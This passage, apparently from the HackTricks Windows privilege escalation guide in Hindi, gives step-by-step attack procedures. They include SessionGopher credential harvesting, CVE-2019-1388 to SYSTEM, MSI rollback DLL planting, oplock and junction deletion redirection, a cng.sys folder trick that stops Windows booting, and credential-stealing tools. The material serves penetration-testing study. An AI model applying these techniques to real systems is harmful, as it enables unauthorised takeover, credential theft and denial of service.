यह tool SessionGopher कई tools के sessions, usernames और passwords खोजता है जो यह डेटा clear text में सेव करते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
कल्पना करें कि a process running as SYSTEM open a new process (OpenProcess()
) with full access। वही प्रोसेस also create a new process (CreateProcess()
) with low privileges but inheriting all the open handles of the main process।
अगर आपके पास full access to the low privileged process है, तो आप OpenProcess()
से बनाए गए privileged process के open handle को पकड़कर उस पर inject a shellcode कर सकते हैं।
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, जिन्हें pipes कहा जाता है, process communication और data transfer सक्षम करते हैं।
Windows में Named Pipes नाम की एक सुविधा है, जो unrelated processes को data share करने की अनुमति देती है, यहां तक कि अलग networks पर भी। यह client/server architecture जैसा होता है, जिसमें भूमिकाएँ named pipe server और named pipe client के रूप में परिभाषित होती हैं।
जब कोई client pipe के माध्यम से data भेजता है, तो pipe सेट करने वाला server आवश्यक SeImpersonate rights होने पर उस client की पहचान अपनाने में सक्षम होता है। किसी ऐसे privileged process की पहचान करना जो आपके बनाए pipe के माध्यम से communicate करता हो और जिसकी आप नकल कर सकें, आपको मौका देता है कि उस प्रक्रिया की पहचान अपनाकर gain higher privileges किया जाए जब वह आपके स्थापित pipe के साथ interact करे। इस तरह के attack को execute करने के निर्देशों के लिए उपयोगी guides here और here पर मिलते हैं।
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Misc
File Extensions that could execute stuff in Windows
इस पेज को देखें https://filesec.io/
Monitoring Command Lines for passwords
जब user के रूप में shell मिलता है, तो हो सकता है कि scheduled tasks या अन्य processes execute हो रहे हों जो pass credentials on the command line। नीचे दिया गया script हर दो सेकंड में process command lines को capture करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, और किसी भी अंतर को output करता है।
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
प्रक्रियाओं से पासवर्ड चुराना
Low Priv User से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
यदि आपके पास graphical interface (via console or RDP) तक पहुँच है और UAC सक्षम है, तो कुछ Microsoft Windows वर्ज़नों में unprivileged user से भी terminal या कोई अन्य process जैसे "NT\AUTHORITY SYSTEM" चलाना संभव होता है।
इससे एक ही vulnerability के जरिए privileges escalate करना और UAC bypass करना दोनों एक साथ संभव हो जाता है। अतिरिक्त रूप से, किसी भी चीज़ को install करने की ज़रूरत नहीं होती और प्रक्रिया के दौरान जो binary उपयोग किया जाता है, वह Microsoft द्वारा signed और जारी किया गया होता है।
प्रभावित सिस्टमों में कुछ निम्नलिखित हैं:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
इस vulnerability को exploit करने के लिए, निम्नलिखित कदम उठाना आवश्यक है:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
Then read this to learn about UAC and UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
यह हमला मूल रूप से Windows Installer के rollback फीचर का दुरुपयोग करके uninstall प्रक्रिया के दौरान वैध फ़ाइलों को malicious फ़ाइलों से बदलने पर आधारित है। इसके लिए attacker को एक malicious MSI installer बनाना होता है जो C:\Config.Msi
फ़ोल्डर को hijack करने के लिए इस्तेमाल होगा, जिसे बाद में Windows Installer rollback files को store करने के लिए उपयोग करता है — uninstall के दौरान rollback files को बदल कर उनमें malicious payload डाली जाएगी।
संक्षेप में तकनीक निम्नानुसार है:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msi
empty)
-
Step 1: Install the MSI
-
एक
.msi
बनाएं जो writable फ़ोल्डर (TARGETDIR
) में एक harmless फ़ाइल (जैसेdummy.txt
) install करे। -
installer को "UAC Compliant" के रूप में मार्क करें, ताकि एक non-admin user इसे चला सके।
-
install के बाद फ़ाइल पर एक handle खुला रखें।
-
Step 2: Begin Uninstall
-
वही
.msi
uninstall करें। -
uninstall प्रक्रिया फाइलों को
C:\Config.Msi
में स्थानांतरित करना और उन्हें.rbf
नाम से rename करना शुरू कर देती है (rollback backups)। -
फ़ाइल के
C:\Config.Msi\<random>.rbf
बनने का पता लगाने के लिएGetFinalPathNameByHandle
का उपयोग करके open file handle को poll करें। -
Step 3: Custom Syncing
-
.msi
में एक custom uninstall action (SyncOnRbfWritten
) शामिल है जो: -
उस समय signal करता है जब
.rbf
लिखा गया हो। -
फिर uninstall को जारी रखने से पहले किसी अन्य event पर wait करता है।
-
Step 4: Block Deletion of
.rbf
-
जब signal मिल जाए, तो
.rbf
फ़ाइल कोFILE_SHARE_DELETE
के बिना खोलें — इससे वह delete होने से रोकती है। -
फिर uninstall को खत्म करने के लिए वापस signal करें।
-
Windows Installer
.rbf
को delete नहीं कर पाता, और चूँकि यह सब contents delete नहीं कर सकता,C:\Config.Msi
remove नहीं होता। -
Step 5: Manually Delete
.rbf
-
आप (attacker)
.rbf
फ़ाइल को मैन्युअली delete कर देते हैं। -
अब
C:\Config.Msi
खाली है, hijack के लिए तैयार है।
इस बिंदु पर,
C:\Config.Msi
को delete करने के लिए SYSTEM-level arbitrary folder delete vulnerability को trigger करें।
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msi
with Weak ACLs -
स्वयं
C:\Config.Msi
फ़ोल्डर फिर से बनाएं। -
weak DACLs सेट करें (उदा., Everyone:F), और
WRITE_DAC
के साथ एक handle खुला रखें। -
Step 7: Run Another Install
-
.msi
को फिर से install करें, जिसमें: -
TARGETDIR
: Writable location। -
ERROROUT
: एक variable जो forced failure ट्रिगर करे। -
यह install फिर से rollback ट्रिगर करने के लिए इस्तेमाल होगा, जो
.rbs
और.rbf
पढ़ता है। -
Step 8: Monitor for
.rbs
-
ReadDirectoryChangesW
का उपयोग करकेC:\Config.Msi
की निगरानी करें जब तक एक नया.rbs
नहीं आ जाता। -
उसका filename कैप्चर करें।
-
Step 9: Sync Before Rollback
-
.msi
में एक custom install action (SyncBeforeRollback
) है जो: -
जब
.rbs
बनाया जाता है तो एक event को signal करता है। -
फिर जारी रखने से पहले wait करता है।
-
Step 10: Reapply Weak ACL
-
.rbs created
event मिलने के बाद: -
Windows Installer
C:\Config.Msi
पर strong ACLs फिर से लागू करता है। -
लेकिन चूँकि आपके पास अभी भी
WRITE_DAC
के साथ एक handle खुला है, आप फिर से weak ACLs लागू कर सकते हैं।
ACLs केवल handle open पर लागू होते हैं, इसलिए आप अभी भी फ़ोल्डर में लिख सकते हैं।
-
Step 11: Drop Fake
.rbs
and.rbf
-
.rbs
फ़ाइल को एक fake rollback script से overwrite करें जो Windows को बताता है कि: -
आपकी
.rbf
फ़ाइल (malicious DLL) को एक privileged location में restore करे (उदा.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL
)। -
आपकी fake
.rbf
गिराएँ जिसमें एक malicious SYSTEM-level payload DLL हो। -
Step 12: Trigger the Rollback
-
sync event को signal करें ताकि installer resume हो जाए।
-
एक type 19 custom action (
ErrorOut
) को configure किया गया है ताकि install को जानबूझकर एक ज्ञात पॉइंट पर fail कराया जा सके। -
इससे rollback शुरू हो जाता है।
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
आपकी malicious
.rbs
पढ़ता है। -
आपकी
.rbf
DLL को target location में copy कर देता है। -
अब आपकी malicious DLL एक SYSTEM-loaded path में मौजूद है।
-
Final Step: Execute SYSTEM Code
-
एक trusted auto-elevated binary (उदा.,
osk.exe
) चलाएँ जो आपके hijacked DLL को load करे। -
Boom: आपका कोड SYSTEM के रूप में execute होता है।
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
मुख्य MSI rollback तकनीक (पिछली वाली) यह मानती है कि आप एक पूरे फ़ोल्डर (उदा., C:\Config.Msi
) को delete कर सकते हैं। लेकिन अगर आपकी vulnerability केवल arbitrary file deletion ही अनुमति देती है तो क्या होगा?
आप NTFS internals का दुरुपयोग कर सकते हैं: हर फ़ोल्डर के पास एक छिपा alternate data stream होता है जिसे कहा जाता है:
C:\SomeFolder::$INDEX_ALLOCATION
यह स्ट्रीम फ़ोल्डर का इंडेक्स मेटाडेटा स्टोर करती है।
इसलिए, अगर आप किसी फ़ोल्डर की ::$INDEX_ALLOCATION
स्ट्रीम को हटाते हैं, तो NTFS फाइल सिस्टम से पूरे फ़ोल्डर को हटा देता है।
आप यह मानक फ़ाइल हटाने वाली APIs का उपयोग करके कर सकते हैं, जैसे:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
हालाँकि आप एक file delete API को कॉल कर रहे हैं, यह फ़ोल्डर स्वयं ही डिलीट कर देता है।
फ़ोल्डर की सामग्री को हटाने से SYSTEM EoP तक
क्या होगा अगर आपका primitive आपको arbitrary files/folders हटाने की अनुमति नहीं देता, लेकिन यह attacker-controlled फ़ोल्डर की contents को हटाने की अनुमति देता है?
- Step 1: एक चारा फ़ोल्डर और फ़ाइल सेटअप करें
- Create:
C:\temp\folder1
- Inside it:
C:\temp\folder1\file1.txt
- Step 2:
file1.txt
पर एक oplock लगाएँ
- oplock तब निष्पादन को रोक देता है जब कोई विशेषाधिकार प्राप्त प्रक्रिया
file1.txt
को डिलीट करने की कोशिश करती है।
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- चरण 3: SYSTEM प्रक्रिया ट्रिगर करें (उदा.,
SilentCleanup
)
- यह प्रक्रिया फ़ोल्डरों को स्कैन करती है (उदा.,
%TEMP%
) और उनकी सामग्री हटाने की कोशिश करती है। - जब यह
file1.txt
तक पहुँचता है, तो oplock triggers और आपका callback नियंत्रण संभाल लेता है।
- चरण 4: oplock callback के अंदर – हटाने को रीडायरेक्ट करें
-
विकल्प A:
file1.txt
को कहीं और स्थानांतरित करें -
यह oplock को तोड़े बिना
folder1
को खाली कर देता है। -
file1.txt
को सीधे हटाएँ नहीं — इससे oplock समयपूर्व रूप से रिलीज़ हो जाएगा। -
विकल्प B:
folder1
को junction में कन्वर्ट करें:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- विकल्प C: symlink
\RPC Control
में बनाएं:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
यह NTFS internal stream को लक्षित करता है जो फ़ोल्डर का metadata संग्रहीत करता है — इसे डिलीट करने पर फ़ोल्डर डिलीट हो जाता है।
- Step 5: Release the oplock
- SYSTEM process जारी रहता है और
file1.txt
को हटाने की कोशिश करता है। - लेकिन अब, junction + symlink के कारण, यह वास्तव में निम्न को डिलीट कर रहा है:
C:\Config.Msi::$INDEX_ALLOCATION
परिणाम: C:\Config.Msi
को SYSTEM द्वारा हटाया जाता है।
Arbitrary Folder Create से Permanent DoS तक
ऐसी primitive का फायदा उठाएँ जो आपको create an arbitrary folder as SYSTEM/admin करने देता है — भले ही आप फाइलें लिख न सकें या set weak permissions नहीं कर सकें।
ऐसा folder (not a file) बनाएँ जिसका नाम एक critical Windows driver हो, उदाहरण के लिए:
C:\Windows\System32\cng.sys
- यह पथ सामान्यतः
cng.sys
kernel-mode ड्राइवर को संदर्भित करता है। - यदि आप इसे पहले से एक फ़ोल्डर के रूप में बना देते हैं, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में असफल रहता है।
- फिर, Windows बूट के दौरान
cng.sys
लोड करने की कोशिश करता है। - यह फ़ोल्डर देखता है, वास्तविक ड्राइवर का समाधान करने में असफल रहता है, और क्रैश हो जाता है या बूट रुक जाता है।
- वहाँ कोई fallback नहीं है, और कोई recovery नहीं बिना बाहरी हस्तक्षेप (उदा., boot repair or disk access) के।
High Integrity से SYSTEM तक
नया service
यदि आप पहले से ही एक High Integrity process पर चल रहे हैं, तो SYSTEM तक का path केवल नया service बनाकर और उसे चलाकर आसान हो सकता है:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
tip
जब आप service binary बना रहे हों तो सुनिश्चित करें कि यह एक valid service है या कि binary आवश्यक क्रियाएँ तेजी से करता हो क्योंकि अगर यह valid service नहीं है तो इसे 20s में बंद कर दिया जाएगा।
AlwaysInstallElevated
High Integrity process से आप AlwaysInstallElevated registry entries को enable करने और .msi wrapper का उपयोग करके एक reverse shell install करने की कोशिश कर सकते हैं।
यहाँ involved registry keys और .msi package को install करने के बारे में अधिक जानकारी।
High + SeImpersonate privilege to System
From SeDebug + SeImpersonate to Full Token privileges
यदि आपके पास वे token privileges हैं (संभावना है कि आप इसे पहले से ही High Integrity process में पाएंगे), तो आप SeDebug privilege के साथ लगभग किसी भी process (protected processes को छोड़कर) को खोल पाएंगे, उस process का token copy कर पाएंगे, और उस token के साथ एक arbitrary process create कर पाएंगे।
इस technique का उपयोग आम तौर पर SYSTEM के रूप में चल रहे किसी भी process को चुना जाता है जिसके पास सभी token privileges हों (हाँ, आप SYSTEM processes पा सकते हैं जिनके पास सभी token privileges नहीं होते)।
आप एक example of code executing the proposed technique here.
Named Pipes
यह technique meterpreter द्वारा getsystem
में escalate करने के लिए उपयोग की जाती है। यह technique pipe बनाकर और फिर उस pipe पर लिखने के लिए किसी service को create/abuse करने से मिलकर बनी है। फिर, उस pipe को बनाया हुआ server जो SeImpersonate
privilege का उपयोग करता है, pipe client (service) के token को impersonate कर सकेगा और SYSTEM privileges प्राप्त कर लेगा।
अगर आप name pipes के बारे में और जानना चाहते हैं तो यह पढ़ें。
अगर आप एक उदाहरण पढ़ना चाहते हैं कि कैसे name pipes का उपयोग करके high integrity से System तक जाएँ。
Dll Hijacking
यदि आप किसी SYSTEM के रूप में चल रहे process द्वारा load की जा रही किसी dll को hijack करने में सफल हो जाते हैं तो आप उन permissions के साथ arbitrary code execute कर पाएँगे। इसलिए Dll Hijacking इस प्रकार के privilege escalation के लिए भी उपयोगी है, और साथ ही इसे high integrity process से हासिल करना कहीं अधिक आसान है क्योंकि उसके पास dlls को load करने के लिए उपयोग किए जाने वाले folders पर write permissions होंगी।
आप यहाँ Dll hijacking के बारे में और जान सकते हैं.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
पढ़ें: https://github.com/itm4n/FullPowers
More help
Useful tools
Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Misconfigurations और संवेदनशील फ़ाइलों की जांच करें (check here). पता चला।
JAWS -- कुछ संभावित misconfigurations की जांच करें और जानकारी इकट्ठा करें (check here).
privesc -- Misconfigurations की जांच करें
SessionGopher -- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। लोकल में -Thorough का उपयोग करें।
Invoke-WCMDump -- Credential Manager से credentials निकालता है। पता चला।
DomainPasswordSpray -- एकत्र किए गए passwords को डोमेन पर spray करता है
Inveigh -- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle टूल है।
WindowsEnum -- बेसिक privesc Windows enumeration
Sherlock ~~~~ -- ज्ञात privesc कमजोरियों के लिए खोज (DEPRECATED for Watson)
WINspect -- लोकल चेक्स (Admin rights की आवश्यकता)
Exe
Watson -- ज्ञात privesc कमजोरियों के लिए खोज (VisualStudio का उपयोग करके compile करने की आवश्यकता) (precompiled)
SeatBelt -- होस्ट का enumeration करता है और misconfigurations खोजता है (ज़्यादा एक gather info टूल है न कि privesc) (compile करने की आवश्यकता) (precompiled)
LaZagne -- कई सॉफ़्टवेयर से credentials निकालता है (github पर precompiled exe)
SharpUP -- PowerUp का C# पोर्ट
Beroot ~~~~ -- Misconfiguration की जांच (executable github पर precompiled). अनुशंसित नहीं। यह Win10 में अच्छी तरह काम नहीं करता।
Windows-Privesc-Check -- संभावित misconfigurations की जांच (python से exe). अनुशंसित नहीं। यह Win10 में अच्छी तरह काम नहीं करता।
Bat
winPEASbat -- इस पोस्ट पर आधारित बनाया गया टूल (यह accesschk के बिना ठीक से काम करने के लिए accesschk की आवश्यकता नहीं है पर यह इसका उपयोग कर सकता है).
Local
Windows-Exploit-Suggester -- systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits की सिफारिश करता है (लोकल python)
Windows Exploit Suggester Next Generation -- systeminfo के आउटपुट को पढ़ता है और काम करने वाले exploits की सिफारिश करता है (लोकल python)
Meterpreter
multi/recon/local_exploit_suggestor
आपको प्रोजेक्ट को सही .NET संस्करण का उपयोग करके compile करना होगा (see this). लक्षित होस्ट पर इंस्टॉल .NET संस्करण देखने के लिए आप कर सकते हैं:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
संदर्भ
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।